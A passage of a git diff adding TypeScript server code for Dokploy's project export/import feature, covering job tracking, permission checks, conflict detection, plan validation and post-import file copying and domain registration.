tokenToExportId.delete(token); + if (exportId) { + exportJobs.update(exportId, { downloadToken: undefined }); + } +}; + +export const deleteExportJob = (exportId: string): void => { + const job = exportJobs.get(exportId); + if (job?.downloadToken) { + tokenToExportId.delete(job.downloadToken); + } + exportJobs.delete(exportId); +}; + +export const listExpiredExportJobs = exportJobs.listExpired; + +export const listExportJobs = exportJobs.list; + +export type ImportStatus = + | "uploaded" + | "inspected" + | "unlocked" + | "planned" + | "applying" + | "restoring" + | "deploying" + | "done" + | "failed"; + +export type ImportJob = { + importId: string; + userId: string; + organizationId: string; + status: ImportStatus; + message?: string; + error?: string; + root?: Location; + bundle?: Location; + workDir?: Location; + snapshot?: Snapshot; + secretsPlain?: Map; + secretsOriginal?: Map; + plan?: Plan; + result?: TransferResult; + restoreErrors?: RestoreError[]; + deployCandidates?: DeployCandidate[]; + partial?: boolean; + createdAt: number; +}; + +const importJobs = createJobStore(); + +export const createImportJob = ( + importId: string, + userId: string, + organizationId: string, +): ImportJob => + importJobs.set(importId, { + importId, + userId, + organizationId, + status: "uploaded", + createdAt: Date.now(), + }); + +export const getImportJob = importJobs.get; + +export const updateImportJob = ( + importId: string, + patch: Partial< + Omit + >, +): ImportJob | undefined => importJobs.update(importId, patch); + +export const deleteImportJob = importJobs.delete; + +export const listExpiredImportJobs = importJobs.listExpired; + +export const listImportJobs = importJobs.list; + +export const ACTIVE_EXPORT_STATUSES = new Set([ + "pending", + "capturing", + "dumping", + "collecting-files", + "serializing", +]); + +const ACTIVE_IMPORT_STATUSES = new Set([ + "uploaded", + "inspected", + "unlocked", + "planned", + "applying", + "restoring", + "deploying", +]); + +export const RUNNING_IMPORT_STATUSES = new Set([ + "applying", + "restoring", + "deploying", +]); + +export const assertNoActiveTransfer = ( + userId: string, + options?: { excludeImportId?: string }, +): void => { + const activeExport = listExportJobs().some( + (job) => job.userId === userId && ACTIVE_EXPORT_STATUSES.has(job.status), + ); + if (activeExport) { + throw new TRPCError({ + code: "CONFLICT", + message: + "You already have an export in progress; wait for it to finish (or cancel it) before starting another.", + }); + } + + const activeImport = listImportJobs().some( + (job) => + job.userId === userId && + job.importId !== options?.excludeImportId && + ACTIVE_IMPORT_STATUSES.has(job.status), + ); + if (activeImport) { + throw new TRPCError({ + code: "CONFLICT", + message: + "You already have an import in progress; wait for it to finish (or cancel it) before starting another.", + }); + } +}; + +export const createImportJobIfNoneActive = ( + importId: string, + userId: string, + organizationId: string, +): ImportJob => { + assertNoActiveTransfer(userId); + return createImportJob(importId, userId, organizationId); +}; + +export const requireExportJob = (exportId: string, organizationId: string) => { + const job = getExportJob(exportId); + if (!job || job.organizationId !== organizationId) { + throw new TRPCError({ code: "NOT_FOUND", message: "Export not found" }); + } + return job; +}; + +export const requireImportJob = (importId: string, organizationId: string) => { + const job = getImportJob(importId); + if (!job || job.organizationId !== organizationId) { + throw new TRPCError({ code: "NOT_FOUND", message: "Import not found" }); + } + return job; +}; + +export const requireIdleImportJob = ( + importId: string, + organizationId: string, +) => { + const job = requireImportJob(importId, organizationId); + if (RUNNING_IMPORT_STATUSES.has(job.status)) { + throw new TRPCError({ + code: "CONFLICT", + message: "This import is already running", + }); + } + return job; +}; + +export const requireOwnImportJob = ( + importId: string, + organizationId: string, + userId: string, +) => { + const job = requireIdleImportJob(importId, organizationId); + if (job.userId !== userId) { + throw new TRPCError({ + code: "FORBIDDEN", + message: "Only the user who started this import can change its secrets", + }); + } + return job; +}; diff --git a/packages/server/src/services/project-export-import/migrations/index.ts b/packages/server/src/services/project-export-import/migrations/index.ts new file mode 100644 index 000000000..a049c1fd4 --- /dev/null +++ b/packages/server/src/services/project-export-import/migrations/index.ts @@ -0,0 +1,21 @@ +import type { Manifest } from "../types"; +import { TRANSFER_FORMAT_VERSION } from "../types"; + +export class UnsupportedBundleVersionError extends Error { + constructor(bundleVersion: number, supportedVersion: number) { + super( + `This bundle was created by a newer version of Dokploy (format v${bundleVersion}) and cannot be imported by this installation, which supports up to v${supportedVersion}. Upgrade Dokploy before importing this bundle.`, + ); + this.name = "UnsupportedBundleVersionError"; + } +} + +export const migrateManifest = (manifest: Manifest): Manifest => { + if (manifest.formatVersion > TRANSFER_FORMAT_VERSION) { + throw new UnsupportedBundleVersionError( + manifest.formatVersion, + TRANSFER_FORMAT_VERSION, + ); + } + return manifest; +}; diff --git a/packages/server/src/services/project-export-import/permission.ts b/packages/server/src/services/project-export-import/permission.ts new file mode 100644 index 000000000..5d51abe18 --- /dev/null +++ b/packages/server/src/services/project-export-import/permission.ts @@ -0,0 +1,94 @@ +import { IS_CLOUD } from "@dokploy/server/constants"; +import { db } from "@dokploy/server/db"; +import { + checkProjectAccess, + findMemberByUserId, + type PermissionCtx, +} from "@dokploy/server/services/permission"; +import { TRPCError } from "@trpc/server"; + +export type TransferAction = "export" | "import"; + +export const assertTransferPermission = async ( + ctx: PermissionCtx, + projectId: string | undefined, + action: TransferAction, +) => { + const memberRecord = await findMemberByUserId( + ctx.user.id, + ctx.session.activeOrganizationId, + ); + + if (memberRecord.role !== "owner" && memberRecord.role !== "admin") { + throw new TRPCError({ + code: "FORBIDDEN", + message: `Only organization owners and admins can ${action} projects`, + }); + } + + if (projectId) { + const project = await db.query.projects.findFirst({ + where: (fields, { eq }) => eq(fields.projectId, projectId), + columns: { organizationId: true }, + }); + if ( + !project || + project.organizationId !== ctx.session.activeOrganizationId + ) { + throw new TRPCError({ code: "NOT_FOUND", message: "Project not found" }); + } + } + + if (action === "import") { + await checkProjectAccess(ctx, "create"); + } + + return memberRecord; +}; + +export const findOrganizationServerId = async ( + serverId: string | undefined, + organizationId: string, +): Promise => { + if (!serverId) { + if (IS_CLOUD) { + throw new TRPCError({ + code: "BAD_REQUEST", + message: "Choose the server the bundle will be imported to", + }); + } + return null; + } + const server = await db.query.server.findFirst({ + where: (fields, { eq, and }) => + and( + eq(fields.serverId, serverId), + eq(fields.organizationId, organizationId), + ), + columns: { serverId: true }, + }); + if (!server) { + throw new TRPCError({ code: "NOT_FOUND", message: "Server not found" }); + } + return server.serverId; +}; + +export const findOrganizationDestination = async ( + destinationId: string, + organizationId: string, +) => { + const destination = await db.query.destinations.findFirst({ + where: (fields, { eq, and }) => + and( + eq(fields.destinationId, destinationId), + eq(fields.organizationId, organizationId), + ), + }); + if (!destination) { + throw new TRPCError({ + code: "NOT_FOUND", + message: "Destination not found", + }); + } + return destination; +}; diff --git a/packages/server/src/services/project-export-import/plan.ts b/packages/server/src/services/project-export-import/plan.ts new file mode 100644 index 000000000..8deec1378 --- /dev/null +++ b/packages/server/src/services/project-export-import/plan.ts @@ -0,0 +1,704 @@ +import { IS_CLOUD, paths } from "@dokploy/server/constants"; +import { APP_NAME_REGEX } from "@dokploy/server/db/schema/utils"; +import { testDestinationConnection } from "@dokploy/server/services/destination"; +import { testRegistryConnection } from "@dokploy/server/services/registry"; +import { testVaultProviderConnection } from "@dokploy/server/services/vault-provider"; +import { + execAsync, + execAsyncRemote, +} from "@dokploy/server/utils/process/execAsync"; +import { TRPCError } from "@trpc/server"; +import { finalDomainHost, regenerateAppName } from "./appname"; +import { CONFLICT_OPTIONS, resolveConflicts } from "./conflicts"; +import { DUMPABLE_DB_TYPES } from "./dumps"; +import type { TransferDb } from "./queries"; +import { escapeShellArg, safeErrorMessage } from "./remote-fs"; +import { + buildServerIpMap, + buildServiceServerMap, + LOCAL_SERVER_CANDIDATE_ID, + proposeResolutions, + requirementKey, +} from "./resolve"; +import { SERVICE_ID_FIELD, SERVICE_TYPE_ENV_KEY } from "./service-kinds"; +import type { + Conflict, + ConflictResolution, + DomainStrategy, + PendingService, + Plan, + PlanValidationCheck, + ProposedResolution, + Requirement, + Resolution, + ServiceType, + Snapshot, + Target, + UsedBy, + Warning, +} from "./types"; +import { planSchema } from "./types"; +import type { RunVersionProbe } from "./versions"; +import { compareDockerVersions, probeDockerVersion } from "./versions"; + +export type CheckAppNameAvailable = ( + appName: string, + serverId: string | null, +) => Promise; + +export const checkAppNameAvailable: CheckAppNameAvailable = async ( + appName, + serverId, +) => { + const run = (command: string) => + serverId ? execAsyncRemote(serverId, command) : execAsync(command); + + try { + const { stdout } = await run( + `docker service ls --filter name=${escapeShellArg(appName)} --format '{{.Name}}'`, + ); + if (stdout.split("\n").some((line) => line.trim() === appName)) { + return false; + } + } catch {} + + const p = paths(!!serverId); + for (const dir of [p.APPLICATIONS_PATH, p.COMPOSE_PATH]) { + try { + await run(`test -d ${escapeShellArg(`${dir}/${appName}`)}`); + return false; + } catch {} + } + + return true; +}; + +const requirementLabel = (requirement: Requirement): string => { + switch (requirement.kind) { + case "vault": + return `vault "${requirement.providerName}"`; + case "gitProvider": + return `${requirement.providerType} git provider`; + case "destination": + return `destination "${requirement.bucket}"`; + case "registry": + return `registry "${requirement.registryUrl}"`; + case "sshKey": + return "SSH key"; + case "network": + return `network "${requirement.name}"`; + case "certificate": + return "custom certificate"; + case "server": + return "server"; + } +}; + +const defaultResolutionFor = ( + key: string, + proposed: ProposedResolution | undefined, +): Resolution => { + if (!proposed) { + return { requirementKey: key, action: "skip" }; + } + switch (proposed.status) { + case "resolved": + return { + requirementKey: key, + action: "reuse", + targetId: proposed.targetId, + }; + case "createable": + return { requirementKey: key, action: "create" }; + case "mappable": + case "missing": + return { requirementKey: key, action: "skip" }; + } +}; + +type DomainContext = { + appNameMap: Record; + serverMap: Record; + serverIpMap: Record; + domainStrategy: DomainStrategy; +}; + +const collectDomainHosts = ( + snapshot: Snapshot, + ctx: DomainContext, +): Map => { + const hosts = new Map(); + const serviceServerMap = buildServiceServerMap(snapshot); + for (const service of snapshot.resources.services) { + const kind = service.kind as ServiceType; + if (kind !== "application" && kind !== "compose") continue; + const domains = + (service.domains as Record[] | undefined) ?? []; + const serviceId = service[SERVICE_ID_FIELD[kind]] as string; + const environmentId = service.environmentId as string; + const serviceName = + (service.name as string | undefined) ?? (service.appName as string) ?? ""; + const originalServerId = serviceServerMap.get(serviceId) ?? null; + const destServerId = ctx.serverMap[originalServerId ?? "null"] ?? null; + const destinationIp = ctx.serverIpMap[destServerId ?? "local"] ?? null; + for (const domain of domains) { + const sourceHost = domain.host as string | undefined; + if (!sourceHost) continue; + const { host } = finalDomainHost( + sourceHost, + ctx.appNameMap, + destinationIp, + ctx.domainStrategy, + ); + const list = hosts.get(host) ?? []; + list.push({ + serviceId, + serviceType: kind, + serviceName, + environmentId, + field: `domain:${domain.domainId as string}`, + }); + hosts.set(host, list); + } + } + return hosts; +}; + +const collectPortUsage = ( + snapshot: Snapshot, + serverMap: Record, +): Map< + string, + { publishedPort: number; destServerId: string | null; usedBy: UsedBy[] } +> => { + const byKey = new Map< + string, + { publishedPort: number; destServerId: string | null; usedBy: UsedBy[] } + >(); + const serviceServerMap = buildServiceServerMap(snapshot); + for (const service of snapshot.resources.services) { + if (service.kind !== "application") continue; + const ports = + (service.ports as Record[] | undefined) ?? []; + if (ports.length === 0) continue; + const originalServerId = + serviceServerMap.get(service.applicationId as string) ?? null; + const destServerId = serverMap[originalServerId ?? "null"] ?? null; + const serviceId = service.applicationId as string; + const environmentId = service.environmentId as string; + const serviceName = + (service.name as string | undefined) ?? (service.appName as string) ?? ""; + for (const port of ports) { + const publishedPort = port.publishedPort as number; + const key = `${destServerId ?? "local"}:${publishedPort}`; + const entry = byKey.get(key) ?? { + publishedPort, + destServerId, + usedBy: [], + }; + entry.usedBy.push({ + serviceId, + serviceType: "application", + serviceName, + environmentId, + }); + byKey.set(key, entry); + } + } + return byKey; +}; + +const detectConflicts = async ( + db: TransferDb, + snapshot: Snapshot, + organizationId: string, + target: Target, + resolutions: Record, + domainContext: DomainContext, +): Promise => { + const { serverMap } = domainContext; + const conflicts: Conflict[] = []; + + if (target.kind === "newProject") { + const existingProject = await db.query.projects.findFirst({ + where: (fields, { and, eq }) => + and( + eq(fields.organizationId, organizationId), + eq(fields.name, target.name), + ), + }); + if (existingProject) { + conflicts.push({ + kind: "projectName", + value: target.name, + existingId: existingProject.projectId, + usedBy: [], + options: CONFLICT_OPTIONS.projectName, + }); + } + } + + const domainHosts = collectDomainHosts(snapshot, domainContext); + if (domainHosts.size > 0) { + const existingDomains = await db.query.domains.findMany({ + where: (fields, { inArray }) => + inArray(fields.host, [...domainHosts.keys()]), + }); + const seen = new Set(); + for (const row of existingDomains) { + if (seen.has(row.host)) continue; + seen.add(row.host); + conflicts.push({ + kind: "domain", + value: row.host, + existingId: row.domainId, + usedBy: domainHosts.get(row.host) ?? [], + options: CONFLICT_OPTIONS.domain, + }); + } + } + + const portUsage = collectPortUsage(snapshot, serverMap); + if (portUsage.size > 0) { + const publishedPorts = [ + ...new Set([...portUsage.values()].map((v) => v.publishedPort)), + ]; + const existingPorts = await db.query.ports.findMany({ + where: (fields, { inArray }) => + inArray(fields.publishedPort, publishedPorts), + with: { application: { columns: { serverId: true } } }, + }); + for (const row of existingPorts) { + const rowServerId = row.application?.serverId ?? null; + const key = `${rowServerId ?? "local"}:${row.publishedPort}`; + const entry = portUsage.get(key); + if (!entry) continue; + conflicts.push({ + kind: "port", + value: String(row.publishedPort), + existingId: row.portId, + usedBy: entry.usedBy, + options: CONFLICT_OPTIONS.port, + }); + } + } + + for (const requirement of snapshot.requirements) { + if (requirement.kind !== "network") continue; + const key = requirementKey(requirement); + if (resolutions[key]?.action !== "create") continue; + const existingNetwork = await db.query.network.findFirst({ + where: (fields, { and, eq }) => + and( + eq(fields.organizationId, organizationId), + eq(fields.name, requirement.name), + ), + }); + if (existingNetwork) { + conflicts.push({ + kind: "network", + value: requirement.name, + existingId: existingNetwork.networkId, + usedBy: requirement.usedBy, + options: CONFLICT_OPTIONS.network, + }); + } + } + + return conflicts; +}; + +export type BuildPlanUserChoices = { + resolutions?: Record; + keepAppNames?: boolean; + domainStrategy?: DomainStrategy; + portsStrategy?: "keep" | "disable"; + checkAppNameAvailable?: CheckAppNameAvailable; + rotateDatabaseCredentials?: boolean; + conflictResolutions?: Record; + deployAfterImport?: boolean; +}; + +const MAX_APP_NAME_RETRIES = 5; + +const ensureUniqueAppName = async ( + db: TransferDb, + serviceType: ServiceType, + oldAppName: string, + candidate: string, + appNameMap: Record, +): Promise => { + const queryTables = db.query as unknown as Record< + string, + { findFirst: (args: unknown) => Promise } + >; + const table = queryTables[SERVICE_TYPE_ENV_KEY[serviceType]]; + + let attempt = candidate; + for (let i = 0; i < MAX_APP_NAME_RETRIES; i++) { + const takenInBatch = Object.values(appNameMap).includes(attempt); + const takenInDb = takenInBatch + ? false + : await table?.findFirst({ + where: ( + fields: Record, + { eq }: { eq: (a: unknown, b: unknown) => unknown }, + ) => eq(fields.appName, attempt), + }); + if (!takenInBatch && !takenInDb) { + return attempt; + } + attempt = regenerateAppName(serviceType, oldAppName); + } + throw new Error( + `Could not generate a unique appName for ${serviceType} service after ${MAX_APP_NAME_RETRIES} attempts`, + ); +}; + +export const buildPlan = async ( + db: TransferDb, + snapshot: Snapshot, + organizationId: string, + target: Target, + userChoices: BuildPlanUserChoices = {}, +): Promise => { + const checkAppName = + userChoices.checkAppNameAvailable ?? checkAppNameAvailable; + + const proposals = await proposeResolutions(db, snapshot, organizationId); + const resolutions: Record = {}; + for (const requirement of snapshot.requirements) { + const key = requirementKey(requirement); + resolutions[key] = + userChoices.resolutions?.[key] ?? + defaultResolutionFor(key, proposals[key]); + } + + const serverMap: Record = {}; + for (const requirement of snapshot.requirements) { + if (requirement.kind !== "server") continue; + const key = requirementKey(requirement); + const resolution = resolutions[key]; + const chosen = + resolution?.action === "reuse" ? (resolution.targetId ?? null) : null; + const originalKey = requirement.originalId ?? "null"; + serverMap[originalKey] = + chosen === LOCAL_SERVER_CANDIDATE_ID ? null : chosen; + } + for (const serverId of new Set(Object.values(serverMap))) { + if (!serverId) { + if (IS_CLOUD) { + throw new Error( + "Services must be assigned to a remote server on Dokploy Cloud", + ); + } + continue; + } + const server = await db.query.server.findFirst({ + where: (fields, { eq }) => eq(fields.serverId, serverId), + columns: { organizationId: true }, + }); + if (!server || server.organizationId !== organizationId) { + throw new Error(`Server "${serverId}" not found in this organization`); + } + } + + const appNameMap: Record = {}; + const serviceServerMapForAppNames = buildServiceServerMap(snapshot); + for (const service of snapshot.resources.services) { + const serviceType = service.kind as ServiceType; + const oldAppName = service.appName as string | undefined; + if (!oldAppName) continue; + const originalServerId = + serviceServerMapForAppNames.get( + service[SERVICE_ID_FIELD[serviceType]] as string, + ) ?? null; + const destServerId = serverMap[originalServerId ?? "null"] ?? null; + let newAppName = regenerateAppName(serviceType, oldAppName); + if ( + userChoices.keepAppNames && + APP_NAME_REGEX.test(oldAppName) && + (await checkAppName(oldAppName, destServerId)) + ) { + newAppName = oldAppName; + } else { + newAppName = await ensureUniqueAppName( + db, + serviceType, + oldAppName, + newAppName, + appNameMap, + ); + } + appNameMap[oldAppName] = newAppName; + } + + const domainStrategy: DomainStrategy = userChoices.domainStrategy ?? { + custom: "keep", + }; + const portsStrategy = userChoices.portsStrategy ?? "keep"; + const domainContext: DomainContext = { + appNameMap, + serverMap, + serverIpMap: await buildServerIpMap(db, serverMap, organizationId), + domainStrategy, + }; + const domainHosts = collectDomainHosts(snapshot, domainContext); + + const conflicts = await detectConflicts( + db, + snapshot, + organizationId, + target, + resolutions, + domainContext, + ); + const conflictResolutions = resolveConflicts( + conflicts, + userChoices.conflictResolutions, + ); + + const pendingByService = new Map(); + const importWarnings: Warning[] = []; + for (const requirement of snapshot.requirements) { + const key = requirementKey(requirement); + if (resolutions[key]?.action !== "skip") continue; + + importWarnings.push({ + code: "MISSING_REQUIREMENT_BLOCKING", + severity: "blocking", + message: `${requirementLabel(requirement)} was not resolved; services depending on it will not deploy until this is fixed.`, + affected: requirement.usedBy, + }); + + for (const used of requirement.usedBy) { + if ( + used.serviceType === "project" || + used.serviceType === "environment" + ) { + continue; + } + const reason = `Missing ${requirementLabel(requirement)}`; + const existing = pendingByService.get(used.serviceId); + pendingByService.set(used.serviceId, { + serviceId: used.serviceId, + serviceType: used.serviceType, + reason: existing ? `${existing.reason}; ${reason}` : reason, + }); + } + } + + const dumps = + snapshot.manifest.scope.dumps.mode === "none" + ? 0 + : snapshot.resources.services.filter((service) => + DUMPABLE_DB_TYPES.includes(service.kind as ServiceType), + ).length; + + return planSchema.parse({ + target, + resolutions, + serverMap, + appNameMap, + domainStrategy, + portsStrategy, + rotateDatabaseCredentials: userChoices.rotateDatabaseCredentials ?? false, + deployAfterImport: userChoices.deployAfterImport ?? true, + conflicts, + conflictResolutions, + pendingServices: [...pendingByService.values()], + warnings: importWarnings, + validation: [], + summary: { + counts: snapshot.manifest.counts, + domains: domainHosts.size, + dumps, + }, + }); +}; + +export type ValidatePlanOptions = { + checkAppNameAvailable?: CheckAppNameAvailable; + probeVersion?: RunVersionProbe; +}; + +export const validatePlan = async ( + db: TransferDb, + snapshot: Snapshot, + plan: Plan, + organizationId: string, + opts: ValidatePlanOptions = {}, +): Promise => { + const checkAppName = opts.checkAppNameAvailable ?? checkAppNameAvailable; + const checks: PlanValidationCheck[] = []; + + for (const requirement of snapshot.requirements) { + if (requirement.kind !== "server") continue; + const key = requirementKey(requirement); + const resolution = plan.resolutions[key]; + const label = `serverResolution:${requirement.originalId ?? "local"}`; + if (resolution && resolution.action !== "skip") { + checks.push({ + check: label, + ok: true, + detail: `→ ${plan.serverMap[requirement.originalId ?? "null"] ?? "local"}`, + }); + continue; + } + checks.push({ + check: label, + ok: false, + detail: + "Server requirement not resolved; leaving it unresolved would deploy the affected service(s) to the local Dokploy host instead of blocking. Choose a destination server, or explicitly choose 'local'.", + }); + } + const distinctServerIds = [...new Set(Object.values(plan.serverMap))]; + const probeServerId = distinctServerIds.find((id) => id !== null) ?? null; + const requirementByKey = new Map( + snapshot.requirements.map((r) => [requirementKey(r), r]), + ); + const serviceServerMap = buildServiceServerMap(snapshot); + const probeServerIdForRequirement = (key: string): string | null => { + const requirement = requirementByKey.get(key); + const serviceId = requirement?.usedBy[0]?.serviceId; + if (!serviceId) return probeServerId; + const originalServerId = serviceServerMap.get(serviceId) ?? null; + return plan.serverMap[originalServerId ?? "null"] ?? probeServerId; + }; + + const destServerIdByNewAppName = new Map(); + for (const service of snapshot.resources.services) { + const oldAppName = service.appName as string | undefined; + if (!oldAppName) continue; + const newAppName = plan.appNameMap[oldAppName]; + if (!newAppName) continue; + const serviceId = service[ + SERVICE_ID_FIELD[service.kind as ServiceType] + ] as string; + const originalServerId = serviceServerMap.get(serviceId) ?? null; + const destServerId = plan.serverMap[originalServerId ?? "null"] ?? null; + destServerIdByNewAppName.set(newAppName, destServerId); + } + + for (const appName of new Set(Object.values(plan.appNameMap))) { + try { + const serverId = destServerIdByNewAppName.get(appName) ?? null; + const available = await checkAppName(appName, serverId); + checks.push({ + check: `appName:${appName}`, + ok: available, + detail: available ? undefined : "Already in use", + }); + } catch (error) { + checks.push({ + check: `appName:${appName}`, + ok: false, + detail: safeErrorMessage(error), + }); + } + } + + const sourceDockerVersions = snapshot.manifest.sourceInstance.dockerVersions; + for (const serverId of distinctServerIds) { + try { + if (serverId) { + const server = await db.query.server.findFirst({ + where: (fields, { eq }) => eq(fields.serverId, serverId), + columns: { organizationId: true }, + }); + if (!server || server.organizationId !== organizationId) { + throw new Error("Not found in this organization"); + } + } + const dockerVersion = await probeDockerVersion( + serverId, + opts.probeVersion, + ); + const sourceKeys = Object.entries(plan.serverMap) + .filter(([, dest]) => dest === serverId) + .map(([original]) => (original === "null" ? "local" : original)); + const mismatch = sourceKeys + .map((key) => + compareDockerVersions(sourceDockerVersions?.[key], dockerVersion), + ) + .find(Boolean); + checks.push({ + check: `server:${serverId ?? "local"}`, + ok: true, + detail: mismatch ?? `Docker ${dockerVersion || "unknown"}`, + }); + } catch (error) { + checks.push({ + check: `server:${serverId ?? "local"}`, + ok: false, + detail: safeErrorMessage(error), + }); + } + } + + for (const [key, resolution] of Object.entries(plan.resolutions)) { + if (resolution.action !== "reuse" || !resolution.targetId) continue; + const kind = key.split(":")[0]; + try { + if (kind === "vault") { + const row = await db.query.vaultProvider.findFirst({ + where: (fields, { eq }) => + eq(fields.vaultProviderId, resolution.targetId as string), + }); + if (!row || row.organizationId !== organizationId) { + throw new Error("Not found in this organization"); + } + await testVaultProviderConnection(row.config); + } else if (kind === "registry") { + const row = await db.query.registry.findFirst({ + where: (fields, { eq }) => + eq(fields.registryId, resolution.targetId as string), + }); + if (!row || row.organizationId !== organizationId) { + throw new Error("Not found in this organization"); + } + await testRegistryConnection({ + registryUrl: row.registryUrl, + username: row.username, + password: row.password, + serverId: probeServerIdForRequirement(key) ?? undefined, + }); + } else if (kind === "destination") { + const row = await db.query.destinations.findFirst({ + where: (fields, { eq }) => + eq(fields.destinationId, resolution.targetId as string), + }); + if (!row || row.organizationId !== organizationId) { + throw new Error("Not found in this organization"); + } + await testDestinationConnection({ + ...row, + serverId: probeServerIdForRequirement(key) ?? undefined, + }); + } else { + continue; + } + checks.push({ check: key, ok: true }); + } catch (error) { + checks.push({ + check: key, + ok: false, + detail: safeErrorMessage(error), + }); + } + } + + return checks; +}; + +export const assertPlanChecksPass = (checks: PlanValidationCheck[]): void => { + const failing = checks.filter((check) => !check.ok); + if (failing.length > 0) { + throw new TRPCError({ + code: "BAD_REQUEST", + message: `Plan validation failed: ${failing + .map((check) => `${check.check}: ${check.detail ?? "failed"}`) + .join("; ")}`, + }); + } +}; diff --git a/packages/server/src/services/project-export-import/post-apply.ts b/packages/server/src/services/project-export-import/post-apply.ts new file mode 100644 index 000000000..3c0809f4e --- /dev/null +++ b/packages/server/src/services/project-export-import/post-apply.ts @@ -0,0 +1,285 @@ +import { paths } from "@dokploy/server/constants"; +import type { mounts } from "@dokploy/server/db/schema"; +import { findApplicationById } from "@dokploy/server/services/application"; +import type { Certificate } from "@dokploy/server/services/certificate"; +import { createCertificateFiles } from "@dokploy/server/services/certificate"; +import { createFileMount } from "@dokploy/server/services/mount"; +import { manageDomain } from "@dokploy/server/utils/traefik/domain"; +import { replaceAppNames } from "./appname"; +import { assertSafeBundlePath } from "./deserialize"; +import type { TransferDb } from "./queries"; +import { + at, + copyDir, + exists, + type Location, + readFile, + safeErrorMessage, + writeFile, +} from "./remote-fs"; +import { buildServiceServerMap, requirementKey } from "./resolve"; +import { SERVICE_ID_FIELD } from "./service-kinds"; +import type { + Emit, + Plan, + RestoreError, + ServiceType, + Snapshot, + TransferResult, +} from "./types"; + +export type DeployCandidate = { + serviceId: string; + serviceType: "application" | "compose"; + serverId: string | null; +}; + +export type PostApplyOptions = { + emit?: Emit; + pathsFn?: typeof paths; +}; + +export type PostApplyResult = { + deployCandidates: DeployCandidate[]; + postApplyErrors: RestoreError[]; +}; + +const copyApplicationFiles = async ( + oldAppName: string, + newAppName: string, + serverId: string | null, + workDir: Location, + pathsFn: typeof paths, + emit: Emit, +): Promise => { + const source = at(workDir, "files", "applications", oldAppName); + if (!(await exists(source))) return; + const remotePaths = pathsFn(serverId !== null); + await copyDir(source, { + serverId, + path: `${remotePaths.APPLICATIONS_PATH}/${newAppName}`, + }); + emit(`Copied application files for ${newAppName}`); +}; + +const COMPOSE_ENV_FILES = [ + "docker-compose.yml", + "docker-compose.yaml", + ".env", + "code/docker-compose.yml", + "code/docker-compose.yaml", +]; + +const copyComposeFiles = async ( + oldAppName: string, + newAppName: string, + appNameMap: Record, + serverId: string | null, + workDir: Location, + pathsFn: typeof paths, + emit: Emit, +): Promise => { + const source = at(workDir, "files", "compose", oldAppName); + if (!(await exists(source))) return; + + for (const relativePath of COMPOSE_ENV_FILES) { + const file = at(source, relativePath); + if (!(await exists(file))) continue; + const content = (await readFile(file)).toString("utf8"); + await writeFile(file, replaceAppNames(content, appNameMap)); + } + + const remotePaths = pathsFn(serverId !== null); + await copyDir(source, { + serverId, + path: `${remotePaths.COMPOSE_PATH}/${newAppName}`, + }); + emit(`Copied compose files for ${newAppName}`); +}; + +const writeCertificateFiles = async ( + db: TransferDb, + snapshot: Snapshot, + plan: Plan, + result: TransferResult, + emit: Emit, +): Promise => { + for (const requirement of snapshot.requirements) { + if (requirement.kind !== "certificate" || !requirement.originalId) continue; + const resolution = plan.resolutions[requirementKey(requirement)]; + if (resolution?.action !== "create") continue; + const newCertificateId = result.idMap.certificate?.[requirement.originalId]; + if (!newCertificateId) continue; + const row = await db.query.certificates.findFirst({ + where: (fields, { eq }) => eq(fields.certificateId, newCertificateId), + }); + if (!row) continue; + await createCertificateFiles(row as Certificate); + emit(`Wrote certificate files for ${row.name}`); + } +}; + +const writeRawTraefikConfig = async ( + oldAppName: string, + newAppName: string, + appNameMap: Record, + serverId: string | null, + workDir: Location, + pathsFn: typeof paths, +): Promise => { + const raw = at(workDir, "files", "traefik", `${oldAppName}.yml`); + if (!(await exists(raw))) return false; + + const rewritten = replaceAppNames( + (await readFile(raw)).toString("utf8"), + appNameMap, + ); + const remotePaths = pathsFn(serverId !== null); + await writeFile( + { serverId, path: `${remotePaths.DYNAMIC_TRAEFIK_PATH}/${newAppName}.yml` }, + rewritten, + ); + return true; +}; + +const registerTraefikDomains = async ( + oldAppName: string, + newAppName: string, + newApplicationId: string, + appNameMap: Record, + workDir: Location, + pathsFn: typeof paths, + emit: Emit, +): Promise => { + const app = await findApplicationById(newApplicationId); + const serverId = app.serverId ?? null; + + const usedRawConfig = await writeRawTraefikConfig( + oldAppName, + newAppName, + appNameMap, + serverId, + workDir, + pathsFn, + ); + if (usedRawConfig) { + emit(`Wrote raw Traefik config for ${newAppName}`); + return; + } + + for (const domain of app.domains) { + await manageDomain(app, domain); + } + if (app.domains.length > 0) { + emit(`Registered ${app.domains.length} domain(s) for ${newAppName}`); + } +}; + +const writeFileMounts = async ( + db: TransferDb, + snapshot: Snapshot, + result: TransferResult, + emit: Emit, +): Promise => { + for (const service of snapshot.resources.services) { + const kind = service.kind as ServiceType; + const oldId = service[SERVICE_ID_FIELD[kind]] as string | undefined; + if (!oldId) continue; + const newId = result.idMap[kind]?.[oldId]; + if (!newId) continue; + + const ownerField = SERVICE_ID_FIELD[ + kind + ] as keyof typeof mounts.$inferSelect; + const fileMounts = await db.query.mounts.findMany({ + where: (fields, { eq, and }) => + and(eq(fields[ownerField], newId), eq(fields.type, "file")), + }); + for (const mount of fileMounts) { + await createFileMount(mount.mountId); + emit(`Wrote mount file ${mount.filePath} for ${newId}`); + } + } +}; + +export const postApply = async ( + db: TransferDb, + snapshot: Snapshot, + plan: Plan, + result: TransferResult, + workDir: Location, + opts: PostApplyOptions = {}, +): Promise => { + const emit = opts.emit ?? (() => {}); + const pathsFn = opts.pathsFn ?? paths; + const pendingServiceIds = new Set( + plan.pendingServices.map((p) => p.serviceId), + ); + const deployCandidates: DeployCandidate[] = []; + const postApplyErrors: RestoreError[] = []; + const serviceServerMap = buildServiceServerMap(snapshot); + + for (const service of snapshot.resources.services) { + const kind = service.kind as ServiceType; + if (kind !== "application" && kind !== "compose") continue; + + const oldId = service[SERVICE_ID_FIELD[kind]] as string; + const newId = result.idMap[kind]?.[oldId]; + if (!newId) continue; + + const oldAppName = service.appName as string; + const newAppName = plan.appNameMap[oldAppName] ?? oldAppName; + const oldServerId = serviceServerMap.get(oldId) ?? null; + const serverId = plan.serverMap[oldServerId ?? "null"] ?? null; + + try { + assertSafeBundlePath(oldAppName, oldAppName); + assertSafeBundlePath(newAppName, newAppName); + if (kind === "application") { + await copyApplicationFiles( + oldAppName, + newAppName, + serverId, + workDir, + pathsFn, + emit, + ); + await registerTraefikDomains( + oldAppName, + newAppName, + newId, + plan.appNameMap, + workDir, + pathsFn, + emit, + ); + } else { + await copyComposeFiles( + oldAppName, + newAppName, + plan.appNameMap, + serverId, + workDir, + pathsFn, + emit, + ); + } + } catch 